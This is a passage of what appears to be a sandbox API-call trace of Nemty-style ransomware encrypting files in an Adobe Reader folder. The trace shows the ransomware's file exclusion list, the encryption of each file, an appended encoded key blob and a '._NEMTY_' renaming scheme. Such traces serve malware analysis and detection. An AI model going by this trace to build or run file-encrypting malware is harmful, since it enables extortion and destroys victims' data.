lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.524] Sleep (dwMilliseconds=0x5) [0173.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b148430, dwHighDateTime=0x1d561e8)) [0173.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b148430, dwHighDateTime=0x1d561e8)) [0173.532] GetLastError () returned 0x0 [0173.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.532] GetLastError () returned 0x0 [0173.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.533] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.533] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="LIAmheeLNu10jF5hk0MY40TxRBOf1Wf8pEplX9tUPRw3zMRww6AsBw2VOCzwDuNZ\r\nc8gx/GRRjje5cYDthzwqX/rs5qmIkn33vAbuVAUqQ9AudafFlmmkw7Wsi9zpgrzF\r\ncv69RJU9Vt9IqqIfwSaIBoTAUMkTGAZIJvOexb2IG+9rcJxGTtZnhtbtURYl2LkE\r\nTVtab9PRlheB9fqXACilNq38jwpFWr/L4QKqijNopPEMgPZcOISJgP15g8o3nPgM\r\n+f5Cu4c/BJyTCA50gFzn9sSPlvzV0Ygk6aziFbPmllrQh2aBuFFkPWzBPIkaIz4I\r\nZvETOZAfE50UU6+A02gDdQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.533] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0173.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0173.533] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.533] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0173.535] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.535] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0173.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.535] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0173.535] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.535] CloseHandle (hObject=0x3b0) returned 1 [0173.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.536] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat._nemty_kgobjgd_")) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.536] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2=".") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="..") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="...") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="windows") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="rsa") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="NTDETECT.COM") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="ntldr") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="MSDOS.SYS") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="IO.SYS") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="boot.ini") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="boot.ini") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="ntuser.dat") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="desktop.ini") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="CONFIG.SYS") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="RECYCLER") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="bootmgr") returned 1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="programdata") returned -1 [0173.537] lstrcmpiW (lpString1="EScript.CAT", lpString2="appdata") returned 1 [0173.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.538] Sleep (dwMilliseconds=0x5) [0173.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b16e590, dwHighDateTime=0x1d561e8)) [0173.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b16e590, dwHighDateTime=0x1d561e8)) [0173.548] GetLastError () returned 0x0 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.548] GetLastError () returned 0x0 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.548] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.548] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.548] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.548] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="lzRcMrtFuS8MT1kPj+GUv6o4BVYmHn29/i3Z1J9sPXF4GH4/BZ07cSrPN/0U1mFm\r\n8f3dwrRnC76iA9853xCRXt6BRKr7/srMGPQcCSBqPCxaopLXpD+svWr45LWYD+sF\r\nhqaamBP7tq0EVZ6PeCXuXcPWvK7KCcNvWDBGa5VrUoJfgRgM/gsprPhyshAucz4M\r\nI+HhR5waNBdV3Q/XCfQAkOEfTkdRXoqUFHcyNEr+uMw/+QC3VhK97aU8ws5NoHsy\r\nD1Q9YcEi4ha+bLqqFSQa0Ecnk5p//Xjs8EY7nexpAUM0o4aMLy2pOY5r8Zi5C/+C\r\ncDEsvKN24LJBPaFH3tl4Sw==\r\n", pcchString=0x653e5dc) returned 1 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.549] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0173.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0173.549] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.549] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0173.553] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.553] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0173.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.553] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0173.553] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.553] CloseHandle (hObject=0x3b0) returned 1 [0173.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.553] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat._nemty_kgobjgd_")) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.554] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2=".") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="..") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="...") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="windows") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="rsa") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="NTDETECT.COM") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="ntldr") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="MSDOS.SYS") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="IO.SYS") returned -1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="boot.ini") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="boot.ini") returned 1 [0173.554] lstrcmpiW (lpString1="IA32.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="ntuser.dat") returned -1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="desktop.ini") returned 1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="CONFIG.SYS") returned 1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="RECYCLER") returned -1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="bootmgr") returned 1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="programdata") returned -1 [0173.555] lstrcmpiW (lpString1="IA32.CAT", lpString2="appdata") returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CAT", lpUsedDefaultChar=0x0) returned 8 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CAT", lpUsedDefaultChar=0x0) returned 8 [0173.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CAT", lpUsedDefaultChar=0x0) returned 8 [0173.555] HeapFree (in: hHeap=0x4f90000, 